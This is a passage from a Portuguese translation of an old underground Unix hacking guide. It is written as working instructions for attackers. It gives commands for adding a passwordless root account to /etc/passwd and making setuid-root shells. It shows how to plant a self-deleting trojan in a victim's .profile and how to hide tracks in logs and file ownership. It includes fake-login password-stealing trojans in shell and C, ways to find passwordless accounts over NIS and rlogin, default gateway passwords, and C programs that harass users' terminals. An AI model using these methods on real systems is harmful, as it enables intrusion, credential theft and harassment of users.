aberto. É bom tentar usar ele. Lembre-se, cabeça quente é a chave para um unix que não tem aparentemente nenhum padrao aberto. Pense nas coisas que podem ter relação com esse Unix. Digite coisas tipo "info", "password", "dial", "bbs" e outras cositas mas que podem pertencer ao sistemas "att" está presente em algumas máquinas também. UMA VEZ DENTRO -- ARQUIVOS ESPECIAIS Existem muitos arquivos que são muito importantes para o ambiente do UNIX. São os que seguem: /etc/passwd - Esse é provavelmente o arquivo mais importante no UNIX, porquê? bem, basicamente, ele possui as contas válidas/senhas. Isso é importante uma vez que apenas aquelas listadas no passwd podem dar o login, e algumas delas não podem (vou explicar). O formato do arquivo de password é o seguinte: nome:senha:UserID:GroupID:descricao(ou nome real):homedir:shell ( note que os : é o que separa os campos do arquivo) Aqui estão dois exemplos: sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh demo::101:100:Test Account:/usr/demo:/usr/sh No primeiro exemplo, sirhack é um usuário válido. O segundo campo, entretando, é suposto para ser uma senha, certo? Bem, ela é, mas está encripatada com o algoritmo de encriptação da DES. A parte que diz "&a,Ty" pode incluir um data depois da virgula (Ty) que diz ao unix quando a senha expira. Sim, a data está encriptada em dois caracteres alfanuméricos (Ty). No segundo exemplo, a conta demo não tem senha. Assim no Login, voce pode digitar: login: demo UNIX system V (c)1984 AT&T .. .. Mas com sirhack, voce terá que entrar com a senha. O arquivo de senhas é grande, muitas vezes, voce será capaz de navegar através dele olhando por contas sem senhas. Lembre-se que algumas contas podem ser restritas de se logar com elas, exemplo: bin:*:2:2:binaccount:/bin:/bin/sh O '*' significa que nao pode dar um login com ele. Sua única finalidade será rodar um shell SUID shell (explicado mais tarde). Um nota sobre a encriptacao DES: Cada unix faz a sua propria "palavra chave" como base de sua encriptação. Muitas vezes são somente letras aleatórias e números, escolhidas na instalação pelo sistema operacional. Agora, desencripitar coisas encriptadas com DES não é fácil. É quase impossível. Especialmente desencriptar o arquivo de senhas (desencriptar o campo com as senhas no arquivo de senhas para ser exato). Nunca acredite em um hacker que diz que desencriptou um arquivo de senhas. Ele provavelmente está mentindo. As Senhas nunca são desencriptadas pelo unix, mas ao contrário, uma chamada ao sistema é feita para uma função chamada "crypt" de dentro da linguagem C, e a string que voce entrou como as senhas fica encriptada, e comparada com a senha encriptada. Se elas combinam, voce estará dentro. Existem hackers de senhas, mas eles não desencriptam o arquivo de senhas,e sim encriptam palavras de um dicionário ( wordlist ) e testam elas em cada conta (criptografando/comparando) até que encontra uma igualdade, para isso utilizam programas como o BruteForce ou CrackJack. Lembre-se, poucos ou talvez ninguém, conseguiram desencriptar o arquivo de senhas com sucesso. /etc/group - Esse arquivo contem os grupos validos. O arquivo de grupos é geralmente definido como esse: grupo:senha:groupid:usuarios no grupo De novo, as senhas são encriptadas aqui também. Se voce vê uma senha em branco voce podera ser parte daquele grupo usando o comando "newgrp". Existem casos em que alguns grupos sem senhas irão apenas permitir que certos tipos de usuários entrem naquele grupo via o comando newgrp. Geralmente, se o último campo é deixado em branco, isso significa que qualquer usuário pode usar newgrp para ter o acesso ao grupo. De outra forma, apenas os usuários especificados no último campo podem entrar no grupo por newgrp. Newgrp é apenas um programa que irá mudar seu grupo atual por aquele que voce especificar. A sintaxe é: newgrp grupo Agora, se voce encontrar um grupo sem senha e usar newgrp para entra nele, e ele pedir uma senha, voce nao está permitido de usar o grupo. Eu explicarei melhor isso na seção "SU & Newgrp". /etc/hosts - Esse arquivo contem uma lista de host que o UNIX esta conectado através de uma rede de hardware (tipo um elo x.25 ou algo assim), ou às vezes por UUCP. Esse é um bom arquivo quando voce esta hackeando uma rede enorme, uma vez que ele mostra a voce sistemas que voce pode usar com rsh (Shell Remote, nao restrito shell), rlogin, e telnet, tão bem como outros programas de elo de ethernet/x.25. /usr/adm/sulog (or su_log) - O arquio sulog (ou su_log) pode ser encontrado em muitos diretórios, mas ele é geralmente no /usr/adm. Esse arquivo é o que ele parece. É um arquivo de log, para o programa SU. O que ele faz é manter um registro de quem usa SU e quando. Quando voce usar o SU, a melhor coisa a fazer é editar esse arquivo se possivel, e eu vou falar como e porque na seção sobre usar "su". /usr/adm/loginlog ou /usr/adm/acct/loginlog - Esse é um arquivo de log, mantendo o traco dos logins. Sua atuação é meramenta para controle de contas e "revisao de segurança". Realmente, algumas vezes esse arquivo nunca é encontrado, uma vez que muitos sistemas mantém o o log das contas desligado. /usr/adm/errlog ou errlog - Esse é o log de erro. Ele pode ser localizado em qualquer lugar. Ele tem os traços de todos os erros sérios e as vezes nem tão sérios. Geralmente, ele irá conter um cdigo de erro, depois uma situação. o código de erro varia de 1 a 10, quanto maior, pior o erro. Erro de código 6 é geralmente usado quando voce tenta hackear. "login" loga sua tentativa no errlog com codigo de erro 6. Codigo de erro 10 significa "SYSTEM CRASH". /usr/adm/culog - Esse arquivo contém entradas que mostram quando voce usou cu, onde voce chamou e outras coisas. Outro negócio de seguranca. /usr/mail/Mais modos de alterar o UID- Esse é onde o programa "mail" armazena o mail. Para ler uma caixa de correio particular, voce tem que ser esse usuário, no grupo de usuários "mail" ou root. cada caixa de correio é apenas um nome. Exemplo, se minha conta é "sirhack" meu arquivo de email deve ser geralmente: /usr/mail/sirhack /usr/lib/cron/crontabs - Esse contém as instruções para o cron, geralmente. Veremos isso mais tarde. /etc/shadow - Um arquivo de senhas "escondidas", falarei sobre isso mais tarde. -- A conta BIN -- Bem, nesse momento, eu gostaria de pegar um espaco para falar sobre a conta "bin". Mesmo que ela seja uma conta com nível de usuário, ela é muito poderosa. Ela é dona de quase todos os arquivos, e em muitos sistemas, ela possui /etc/passwd, o arquivo mais importante no unix. Olhe, a conta bin possui muitos dos arquivos binários (bin), assim como os outros arquivos usados pelos arquivos binários, tal como o login. Agora, sabendo o que voce já sabe sobre permissões de arquivo, se o bin possui o arquivo passwd, voce pode editar passwd e acrescentar uma entrada de root para si proprio. Voce pode fazer isso pelo comando edit: $ ed passwd 10999 [O tamanho do passwd varia] * a sirhak::0:0:Mr. Hackalot:/:/bin/sh {control-d} * w * q $ Entao, voce diz: exec login, entao voce pode dar login como sirhack e voce sera root. /\/\/\/\/\/\/\/\/ Hackeando........ /\/\/\/\/\/\/\/\/ Acrescentando contas Existem outros programas que irao acrescentar usuarios no usuario, alem do ed. Mas muitos desses programas não irão permitir um usuário com nível de root seja acrescentado, ou algo menos que uma UID de 100. Um desses programas é chamado "adduser". A razão porque fiz essa pequena seção, é para aqueles que querem usar o unix para algo útil. Digamos que voce queira um "endereço de correspondência". Se o unix tem uucp nele, ou se é um grande colecio, as chances são que ele irá fazer transferências de email. Voce terá que testar o unix tentando enviar email para um amigo em algum lugar, ou apenas enviando um email para si próprio. Se o programa de email é identificado como "smail" quando voce manda uma carta a si próprio (o nome do programa irá aparecer na messagem) isso provavelmente significa que o sistema irá enviar correio UUCP. Essa é uma boa forma para manter contato com alguém. Agora, isso é porque voce precisa de uma conta semi-permanente. O modo de arquivar isso é acrescentando uma conta similar a aquelas que existem no sistema. Se todas as contas com nível de usuário (UID >= 100) sao abreviações com 3 letras, tipo "ogb" para O Gato Bill, ou "brs" para bill ryan smith, acrescente uma conta via adduser, e faça um nome tipo sally jane marshall ou algo assim, (eles nao esperam que hackers ponham nomes femininos) e tenha uma conta chamada sjm. Veja, na descrição da conta (tipo Mr. Hackalot acima), é lá onde o nome real é geralmente armazenado. Assim, sjm irá ficar assim: sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh É claro que voce irá colocar uma senhas nessa senhas, certo? Tambem, id de grupos não tem que ser acima de 100, mas voce pode por a conta em uma que exista. Agora, uma vez que deu um login com essa conta, a primeira coisa que voce fará é executar "passwd" para por uma senha. Se voce não o fizer, provavelmente outra pessoa o fará para voce. Mudar o ID do usuário Esse provavelmente um dos esquemas mais usados. Alterando uma "UID- Shell". O que isso significa? Bem, isso basicamente significa que voce esta mudando bit do usuario em um programa. O programas mais usado e um shell (csh,sh, ksh, etc). Porque? Pense sobre isso: Voce tera acesso a tudo que o dono do arquivo tem. Um shell UID altera o id do usuario de uma pessoa que o executa. Assim, se um root possui um shell de uid, entao voce sera root quando voce o rodar. Esse e uma alternativa para se tornar root. Digamos que voce entrou e modificou o arquivo de senhas e deixou a conta root sem senha, assim voce pode pegar ela. E claro, voce tera que pegar logo essa conta senao isso sera descoberto eventualmente. Assim, o que voce fazer e pegar uma conta de usuario normal para si proprio, e depois, fazer um shell uid. Geralmente voce pode usar /bin/sh para isso. Depois de acrescentar um usuario regular para o arquivo passwd, e mudar/verificar seu diretorio home. voce pode fazer algo como isso: (assumindo que voce pegou a conta: shk) # cp /bin/sh /usr/shk/runme # chmod a+s /usr/shk/runme Isso e tudo o que voce tem que fazer. Quando voce conectar como shk, voce podera fazer isso: $ runme # Viu? Voce sera o root. Aqui esta uma coisa a fazer: $ id uid=104(shk) gid=50(user) $ runme # id uid=104(shk) gid=50(user) euid=0(root) # O euid e o Id do usuario "efetivo" user ID. shells de UID apenas mudam o efetivo user id, nao o real id de usuario. Mas, o id de usuario efetivo sobrepoem o id de usuario real. Agora, voce pode, se voce quiser pode usar outros programas para fazer isso. O que eu quero disser? Por exemplo, faca do 'ls' um shell do root. : # chmod a+s /bin/ls # exit $ ls -l /usr/fred .. ...... etc crap Ls sera entao capaz de espiar qualquer diretorio. Se voce fizer o mesmo para "cat" voce podera ver qualquer arquivo, se voce fizer isso com rm, voce podera apagar qualquer arquivo. Se voce fizer isso com 'ed', voce pode editar qualquer arquivo em qualquer lugar do sistema (geralmente). Como eu me torno root? Boa pergunta. Para fazer um programa alterar a id do shell do usuario para root, voce tem que ser root, a menos que voce tenha sorte. Como assim? Bem, digamos que voce encontre um programa que mudar o id do usuario para root. Se voce tiver acesso para escrever aquele arquivo, o que entao? voce podera copiar sobre ele, mas continuar o bit de uid inalterado. Assim, digamos que voce viu que o programa chsh esta mudando o id de usuario para root. Entao voce podera copiar o /bin/sh sobre ele. $ ls -l rwsrwsrws root other 10999 Jan 4 chsh $ cp /bin/sh chsh $ chsh # Viu? Isso e apenas um modo. Existem outras, que eu vou falar agora.
Agora, a forma generica de fazer um programa alterar o bit de Id do usuario e usar esse comando: chmod a+s file Onde 'file' e um arquivo valido existente. Agora, apenas que tem o arquivo pode alter o bit de Id do usuario. Lembre-se, qualquer coisa que VOCE cria, VOCE e o dono, assim se voce copiar o /bin/sh, assim se voce copia o /bin/sh, aquela conta que voce esta conectado e o dono do arquivo, ou se o UID e alterado para outra pessoa, o novo UID e o dono do arquivo. Isso me leva ate permissoes de arquivo RUINS. II. HACKEANDO : Permissoes de arquivos ruins Agora, o que eu quero dissero com permissoes de arquivo ruins? Bem, procures arquivos que VOCE possa escrever, e acima de tudo, DIRETORIOS que voce possa escrever. Se voce tiver permissao de escrever em um arquivo, voce pode modifica-lo. Agora, isso chega na hora quando se quer roubar o acesso de alguem. Se voce pode escrever para o arquivo .profile do usuario, voce esta no negocio. Voce pode fazer com que .profile do usuario crie um shell suid para voce rodar quando voce conectar depois do usuario. Se o .profile pode ser escrito por voce, voce pode fazer isso: $ ed .profile [algum numero ira estar aqui] ? a cp /bin/sh .runme chmod a+x .runme chmod a+s .runme (control-d) ? w [new filesize will be shown] ? q $ Agora, quando o usuario conectar de novo, o .profile ira criar .runme que ira alterar o seu ID para o do usuario que voce alterou o arquivo. Depois voce ira voltar e apagar aqueleas linhas depois que o suid foi criado, e voce ira copiar o suid para outro lugar e apagar aquele no diretorio do usuario. O .runme nao ira aparecer na listagem de diretorios normal, ira apenas aparecer se ele fizer "ls -a" (ou ls com uma combinacao de -a), porque, o '.' deixa um arquivo escondido. O codigo abaixo e um CAVALO DE TROIA, que e um dos mais usado/abusado metodo de ganhar mais poder no unix. O codigo pode ser feito em C via comando system(), ou apenas usando open(), chmod(), etc. * Lembre-se para ver se o .profile do root pode ser escrito* * ele esta localizado no /.profile (usualmente) * A melhor coisa que pode acontecer e encontrar um diretorio de usuario que pode ser escrito por voce. Poqeu? Bem, voce pode trocar todos os arquivos no diretorio por seu scripts ou Cavalos de Troia em C. Mesmo que um arquivo nao possa ser escrito por voce, voce pode apagar ele ou sobrescrever ele. Se voce pode ler varios arquivo, tal como o .profile do usuario, voce pode fazer um Cavalo de Troia que se alto apaga, como o seguinte: $ cp .profile temp.pro $ ed .profile 1234 ? a cp /bin/sh .runme chmod a+x .runme chmod a+s .runme mv temp.pro .profile (control-d) ? w [outro numero] ? q $ chown aquele_usuario temp.pro O que aconteceu e que voce fez uma copia do .profile antes de voce mudar ele. Entao, voce mudou o original. Quando ele roda isso, os passos sao feitos entao a versao original e posta sobre a original, assim se o idiota olha no .profile, ele nao vera nada fora do normal, exceto que ele pode ver que a data e mais recente, mas muitos usuarios nao sao paranoicos o suficiente para fazer checagens extensivas nos seus arquivos, exceto arquivos do sysadm (tal como o passwd). Agora, lembre-se mesmo tendo permissao de escrever para um dir, voce pode nao ser capaz de escrever para um arquivo sem apagar ele. Se voce nao tiver permissao para escrever naquele arquivo, voce tera que apagar ele e escrever algo nele (ponha um arquivo com o mesmo nome la). A coisa mais importante a lembrar e que se voce deletar o .profile voce tera que MUDAR o DONO do arquivo depois de voce fazer um novo (hehe) para aquele usuario. Ele pode facilmente perceber que o arquivo .profile foi alterado e ele vai saber que fez isso. SIM, voce pode mudar o dono para alguem mais alem de voce e o dono original (como para manter o dono sem suspeitas de voce). Voce pode facilmente mudar os arquivos cron se voce pode escrever neles. Eu nao estou indo entrar em detalhes sobre formatos de arquivos cron aqui, apenas encontre o arquivo crontab e modifique ele para criar um shell em qualquer lugar como root, e mudar o id do usuario. III. Cavalos de Troia em terminais. Basicamente isso: Voce pode enviar lixo para a tela do usuario e mexer com ele tao mal para forcar que ele faca um logoff, criando uma conta vazia. Entao voce pode executar um cavalo de troia naquele terminal no lugar do login ou alguma coisa, assim o proximo que chamar irar pegar o Cavalo de troia. Isso geralmente tem a forma de um falso login. Depois escreve o nome da conta/senha digitadas para o disco. Agora, existem outros cavalos de troia disponiveis para voce escrever. Agora, nao pense em um virus, porque eles nao funcionam se o root nao o executa. De qualquer modo um Cavalo de Troia comum e uma script que pede a senha e as envia pelo email para voce. Agora, voce pode trocar o codigo para o cavalo auto destrutivo com um dissendo algo assim: echo "login: \c" read lgin echo off (funciona em alguns sistemas) (se o de cima nao funcionar...: stty -noecho) echo "Password:\c" read pw echo on echo "Login: $lgin - Pword: $pw" | mail you Agora, o melhor modo de usar isso e por isso em um script seperado assim ele pode ser deletado como parte do Cavalo de Troia auto destrutivo . Outra modificacao que pode ser feita, removendo o "login: " e deixando o Password, isso pode ficar parecido com o SU, assim voce pode pegar a senha do root. Mas tenha certeza que o programa apaga a si proprio. Aqui esta um exemplo de login cavalo de troia em C: #include/* Get the necessary defs.. */ main() { char *name[80]; char *pw[20]; FILE *strm; printf("login: "); gets(name); pw = getpass("Password:"); strm = fopen("/WhereEver/Whateverfile","a"); fprintf(strm,"User: (%s), PW [%s]\n",name,pw); fclose(strm); /* ponha algum tipo de erro embaixo... */ printf("Bus Error - Core Dumped\n"); exit(1); } O programa pede o login e a senha, e coloca isso em um arquivo (/wherever/whateverfile), e cria o arquivo se ele puder, e se nao tiver nada ali. Isso e apenas um exemplo. Anunciamento de rede vem depois. IV. Sistemas diferentes Existem sistemas qe voce conecta sem problemas, e encontra algum menu, banco de dados, ou processador de textos como seu shell, sem jeito de usar o interpretador de comandos (sh, ksh, etc..). Nao desiste aqui. Alguns sistemas irao permitir que voce conecte como root, mas dar um menu que ira permitir a voce acrescente uma conta. Entretando, alguns daqueles que fazem iso geralmente tem algum software comprado rodando, e as pessoas que fazem o software SABEM que as pessoas que compraram isso sao idiotas, e a coisa ira algumas vezes apenas permitir que voce acrescente contas com id de usuario 100 ou maior, com o menu como shell. Voce provavelmente nao pegara um shell, o programa ira provavelmente continuar na tela do usuario que voce criou, o que e muito limitado. Entretando, algumas vezes voce pode editar contas, e isso ira listar contas que voce pode editar na tela. ENTRETANTO, esses programas geralmente apenas listas aquele com UIDS > 100 assim voce nao pode editar as contas boas, entretando, eles nao impedem que voce deixe uma conta com um UID < 100. A "edicao" geralmente apenas envolve mudar a senha da conta. Se uma conta tem um * para uma senhas, o programa que muda as senhas, ira dizer que nenhuma senha existe, e ira pedir a voce entrar uma. (wallah! Voce pegou uma conta para si proprio. Geralmente bin e sys tem um * como senha). Se a senha existe voce tera que entrar a senha antiga (Espero que voce saiba isso!) para a conta. Entao, voce esta no mesmo bote que antes. (BTW -- Esses sistemas loucos sao geralmente Xenix/386, Xenix/286, or Altos/286) Com processadores de textos, geralmente voce pode selecionar o comando load, e quando o processando de texto pedir um arquivo, voce pode selecionar o arquivos passwd, para olhar por contas abertas, ou ao menos contas valida para hackear. Um exemplo pode ser o sistema informix. Voce pode pegar um processador de textos tipo o Samna word, ou algo assim, e aqueles Lamers nao irao proteger-se contra uma coisa tipo aquela. Porque? O arquivo Passwd tem que ser legivel por todos , assim cada programa pode ter um "status" seu. Entretanto, processadores de textos pode ser feitos para edicao restrita de um diretorio, ou conjunto de diretorios. Aqui esta um exemplo: $ id uid=100(sirhack) gid=100(users) $ sword (processador de textos aparece) (selecione LOAD A FILE) : /etc/passwd (voce ve: ) root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh ... Agora eu encontrei uma conta para ser pega! Posso pegar "datawiz" sem problemas, depois eu posso mudar a senha, coisa que ele nao ira gostar Alguns sistemas deixam o "sysadm" sem senha (stupidos!), e agora, muitas versoes do Unix, como Xenix, Unix, BSD, ou alguns outros, eles tem um shell de sysadm que ira deixar voce fazer toda a parte importante via menu, como criar usuarios, mas voce precisa ter ansi ou algo assim. Voce pode pedir um menu. Algumas vezes no UNIX SYSTEM V, quando ele mostra TERM = (termtype), e esta esperando que voce apente enter ou outra coisa, voce ira pegar um menu.. ack. V. Arquivos de senhas Escondidos (Shadowed) Nao tenho muita coisa a falar sobre isso. Tudo que isso faz, e que quando cada campo de senha no arquivo passwd tem um "x" ou apenas um caracter. O que isso faz e mexer com voce, porque voce nao pode ler o arquivo de senhas escondido. Apenas o root pode, e ele contem todas as senhas, assim voce nao ira saber quais as contas que nao tem senhas, entre outras coisas. Existem muitos outros esquemas de hackerar o unix, desde escrever programas em linguagem assembly que modifica o PCB ate codigo auto-alteravel que o interrupt handler nao captura, e outras coisas tipo isso. Entretanto e nao quero dar mais nada. Agora eu vou falar sobre Internet. --->>> InterNet <<<--- O que eu quero falar sobre InterNet? Bem, porque ela e um exemplo vivo de uma rede TCP/IP, melhor conhecido como WAN (Wide-Area-Network ou Rede de Area Ampla). Agora, geralmente voce ira encontrar Sistemas BSD na Internet, ou SunOS, porque eles sao mais comuns. Mas isso pode mudar quando o System V, Rel 4.0, Version 2.0 chegar, de qualquer modo esses BSDs/SunOSs gostar de deixar facil pular de um computador para outro uma vez que voce esta conectado. O que acontece e que CADA sistema tem um "yello page password file". Melhor conhecido como yppasswd. Se voce der uma olhada la e ver senhas vazias voce pode usar rsh, rlogin, etc.. para ir para aquele sistema. UM sistema em particular por onde eu passei tinha um arquivo yppasswd onde *300* usuarios nao tinhas senhas. Uma vez que eu entrei com a conta "test", tudo o que tive que fazer era selecionar quem eu queria ser, e fazer: rlogin -l usuario (algumas vezes -n). Entao eu podeia conectar-me no sistema que eu ja estava, via TCP/IP. Entretanto, quando voce faz isso, lembre-se que o yppasswd apenas pertence ao sistema que voce esta naquele momento Para encontrar contas, voce pode encontar o yppasswd e fazer: % cat yppasswd | grep :: (Procurar por contas sem senhas) Ou, se voce nao encontrar yppasswd.. % ypcat passwd | grep :: Em UM sistema (que ficara confidencial), Eu encontrei a conta DAEMON deixada aberta no arquivo yppasswd. Nada mal. Atraves de um sistema na internet, voce pode alcancar muitos. Apenas use rsh, ou rlogin, e olhe no arquivo: /etc/hosts para sites validos que voce pode alcancar. Se voce entrar num sistema, e der um rlogin para outro lugar, e se ele pedir uma senha, isso significa uma de duas coisas: A. A conta que voce hackeou no computador esta no computador alvo tambem. Tente usar a mesma senha (se tiver) que voce a sua conta tem. Se ela e um default, entao com certeza ela esta no outro sistema, boa sorte... B. rlogin/rsh passam seu nome atual para o outro sistema, assim e como se voce digitasse no seu login no prompt de "login: ". Voce pode nao existir na outra maquina. Tente "rlogin -l nome", ou rlogin -n nome.. algumas vezes, voce pode executar "rwho" em outra maquina, e pegar uma conta valida. Algumas notas sobre servidores de Internet. Existem "GATEWAYS" que voce pode entrar quer permite acesso a MUITOS sites Internet. Eles rodam uma versao modificada do GL/1 ou GS/1. Pessima escolha. Eles tem arquivos de ajuda. Entretanto, voce pode pegar um acesso priviligiado (privileged) neles, que ira dar a voce CONTROLE do gateway. Voce pode reseta-lo, remover sistemas da Internet, etc.. Quando voce pedir para ser privilegiado, ele ira pedir uma senha. Existe um default. O default e "system". Eu passei por *5* gateways com a senha default. Depois denovo, DECNET tem a mesma senha, e eu passei por mais de 100 sistemas com a senhas privilegiada padrao. Legal. O Gateway que leva para APPLE.COM tem a senha default. Qualquer um pudia ter tirado a apple.com da internet. Fique avisado que existem muitas redes hoje em dia que usam TCP/IP.. Tal como BARRNET, LANET, e muitas outras redes de Universidades. Divertindo-se (Com a cara dos outros) Agora, Depois de tudo, voce pode tentar se divertir um pouco. Nao, Eu nao estou dissendo em ir acabar com Winchesters, ou acabando com o elo de diretorios para pegar inodes (LeBeau: Acho que quer disser nos na Internet, talvez), Eu digo brincar com os usuarios na rede. Existem muitas coisas que podem ser feitas. Redirecionar a saida de dados e uma das melhores. Aqui esta um exemplo: $ who loozer tty1 sirhack tty2 $ banner You Suck >/dev/tty1 $ Isso envia a saida de dados para o loozer. O TTY1 e onde a E/S esta sendo realizada (geralmente um modem se e um TTY). Voce pode repetitivamente usar o banner no usuario com uma estrutura do while em shell, fazendo com que ele se desconecte. Ou voce pode simplesmente se diverte com ele. Observe esse programa em C: #include #include #include main(argc,argument) int argc; char *argument[]; { int handle; char *pstr,*olm[80]; char *devstr = "/dev/"; int acnt = 2; FILE *strm; pstr = ""; if (argc == 1) { printf("OL (OneLiner) Version 1.00 \n"); printf("By Sir Hackalot [PHAZE](Traduzido por LeBeau)\n"); printf("\nsintaxe: ol tty message\n"); printf("Example: ol tty01 You suck\n"); exit(1); } printf("OL (OneLiner) Version 1.0\n"); printf("By Sir Hackalot [PHAZE]\n"); if (argc == 2) { strcpy(olm,""); printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n"); printf("Enter one Here => "); gets(olm); } strcpy(pstr,""); strcat(pstr,devstr); strcat(pstr,argument[1]); printf("Sending to: [%s]\n",pstr); strm = fopen(pstr,"a"); if (strm == NULL) { printf("Error writing to: %s\n",pstr); printf("Cause: No Write Perms?\n"); exit(2); } if (argc == 2) { if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname()); fprintf(strm,"%s\n",olm); fclose(strm); printf("Message Sent.\n"); exit(0); } if (argc > 2) { if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname()); while (acnt <= argc - 1) { fprintf(strm,"%s ",argument[acnt]); acnt++; } fclose(strm); printf("Message sent!\n"); exit(0); } } O que o codigo acima faz e enviar uma linha de texto para um dispositivo que se possa escrever nele por voce no diretorio /dev. Se voce tentar isso no usuario "sirhack" ele ira notificar sirhack daquilo que voce esta fazendo. Voce pode suprir um argumento na linha de comandos, ou nao preencher a messagem, depois o programa pede uma. Voce DEVE suprir um terminal. Tambem, se voce usar ? ou *, ou (), ou [], voce nao tem que suprir uma messagem na linha de comandos espere ate que ele peca por uma. Exemplo: $ ol tty1 Lammer OL (OneLiner) Version 1.00 by Sir Hackalot [PHAZE](Traduzido por LeBeau) Sending to: [/dev/tty1] Message Sent! $ Or.. $ ol tty1 OL (OneLiner) Version 1.00 by Sir Hackalot [PHAZE](Traduzido por LeBeau) Dummy! You Forgot to Supply a ONE LINE MESSAGE! Enter one here => Loozer! Logoff (NOW)!! ^G^G Sending to: [/dev/tty1] Message Sent! $ Voce pode fazer para enviar messagens falsas a partir do root. Aqui vai outro exemplo: /* * Hose another user */ #include #include #include #include #include #include #include #include #define NMAX sizeof(ubuf.ut_name) struct utmp ubuf; struct termio oldmode, mode; struct utsname name; int yn; int loop = 0; char *realme[50] = "Unknown"; char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32]; char *histtya, *ttyname(), *strrchr(), *getenv(); int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout(); FILE *tf; main(argc, argv) int argc; char *argv[]; { register FILE *uf; char c1, lastc; int goodtty = 0; long clock = time((long *) 0); struct tm *localtime(); struct tm *localclock = localtime( &clock ); struct stat stbuf; char psbuf[20], buf[80], window[20], junk[20]; FILE *pfp, *popen(); if (argc < 2) { printf("usage: hose user [ttyname]\n"); exit(1); } him = argv[1]; if (argc > 2) histtya = argv[2]; if ((uf = fopen("/etc/utmp", "r")) == NULL) { printf("cannot open /etc/utmp\n"); exit(1); } cuserid(me); if (me == NULL) { printf("Can't find your login name\n"); exit(1); } mytty = ttyname(2); if (mytty == NULL) { printf("Can't find your tty\n"); exit(1); } if (stat(mytty, &stbuf) < 0) { printf("Can't stat your tty -- This System is bogus.\n"); } if ((stbuf.st_mode&02) == 0) { printf("You have write permissions turned off (hehe!).\n"); } if (histtya) { if (!strncmp(histtya, "/dev/", 5)) histtya = strrchr(histtya, '/') + 1; strcpy(histty, "/dev/"); strcat(histty, histtya); } while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) { if (ubuf.ut_name[0] == '\0') continue; if (!strncmp(ubuf.ut_name, him, NMAX)) { logcnt++; if (histty[0]==0) { strcpy(histty, "/dev/"); strcat(histty, ubuf.ut_line); } if (histtya) { if (!strcmp(ubuf.ut_line, histtya)) goodtty++; } } } fclose(uf); if (logcnt==0) { printf("%s not found! (Not logged in?)\n", him); exit(1); } if (histtya==0 && logcnt > 1) { printf("%s logged more than once\nwriting to %s\n", him, histty+5); } if (access(histty, 0) < 0) { printf("No such tty? [%s]\n",histty); exit(1); } signal(SIGALRM, timout); alarm(5); if ((tf = fopen(histty, "w")) == NULL) goto perm; alarm(0); if (fstat(fileno(tf), &stbuf) < 0) goto perm; if (geteuid() != 0 && (stbuf.st_mode&02) == 0) goto perm; ioctl(0, TCGETA, &oldmode); /* save tty state */ ioctl(0, TCGETA, &mode); sigs(eof); uname(&name); if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1; if (yn == 1 ) { fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me); fclose(tf); printf("Critical Error Handler: %s running conflicting process\n",him); exit(1); } fflush(tf); mode.c_cc[4] = 1; mode.c_cc[5] = 0; mode.c_lflag &= ~ICANON; ioctl(0, TCSETAW, &mode); lastc = '\n'; printf("Backspace / Spin Cursor set lose on: %s\n",him); while (loop == 0) { c1 = '\b'; write(fileno(tf),&c1,1); sleep(5); fprintf(tf,"\\\b|\b/\b-\b+\b"); fflush(tf); } perm: printf("Write Permissions denied!\n"); exit(1); } timout() { printf("Timeout opening their tty\n"); exit(1); } eof() { printf("Bye..\n"); ioctl(0, TCSETAW, &oldmode); exit(0); } ex() { register i; sigs(SIG_IGN); i = fork(); if (i < 0) { printf("Try again\n"); goto out; } if (i == 0) { sigs((int (*)())0); execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0); exit(0); } while(wait((int *)NULL) != i) ; printf("!\n"); out: sigs(eof); } sigs(sig) int (*sig)(); { register i; for (i=0; signum[i]; i++) signal(signum[i], sig); } O que o codigo acima e? uma versao modificada do comando write. O que ele faz? Ele avanca o cursor devois volta na tela do usuario que esta rodando. Entretanto, ele nao afeta fisicamente a entrada de dados, o usuario pensa que ele faz. Entretanto, ele muda a velocidade da entrada de dados. O sleep(xx) pode ser alterado para fazer os dados passarem mais rapidos ou menos rapidos. Se voce puser sua conta no "YOURNAMEHERE", ele ira proteger voce de ser pego por isso, se alguem de um unix de acesso publico encontra o executavel em seu diretorio. Voce pode fazer um programa menor que faz quase a mesma coisa, mas voce precisa suprir o terminal, observe: /* Backspace virus, by Sir Hackalot [Phaze] */ #include #include main(argc,argv) char *argv[]; int argc; { int x = 1; char *device = "/dev/"; FILE *histty; if (argc == 1) { printf("Bafoon. Supply a TTY.\n"); exit(1); } strcat(device,argv[1]); /* Make the filename /dev/tty.. */ histty = fopen(device,"a"); if (histty == NULL) { printf("Error opening/writing to tty. Check their perms.\n"); exit(1); } printf("BSV - Backspace virus, By Sir Hackalot.\n"); printf("The Sucker on %s is getting it!\n",device); while (x == 1) { fprintf(histty,"\b\b"); fflush(histty); sleep(5); } } Isso e tudo. Se voce pode escrever para o tty dele, voce pode fazer isso nele. Ele envia dois backspaces para eles a cada 5 segundos aproximadamente. Voce pode rodar esse programa no background. (&). Aqui esta um exemplo: $ who sirhack tty11 loozer tty12 $ bsv tty12& [1] 4566 BSV - Backspace virus, by Sir Hackalot The Sucker on /dev/tty12 is getting it! $ Agora, ele vai ficar "atacando" ele, ate que ele desconecte, ou voce mate o processo (Lembra do kill?) (esse programa que no caso tinha numero = 4566 -- quando voce usa &, ele fornece o pid [geralmente]). ** Nota *** Tenha em mente que o MSDOS, e outros SO usam o metodo de CR/LF para terminar uma linha. Entretanto, o LF termina uma linha em Unix. Voce deve remover os CR's em um upload de arquivos ascii se voce quiser que o editor trabalhe direito. Senao, voce vera um ^M no fim de cada linha. Sei que isso e chato, mas voce precisa arrumar isso. Eu tenho um grande numero de programas que atrapalhas os usuarios, mas e suficiente que voce deixe a imaginacao voar, desde que voce programe em C. Voce pode encher o saco dos 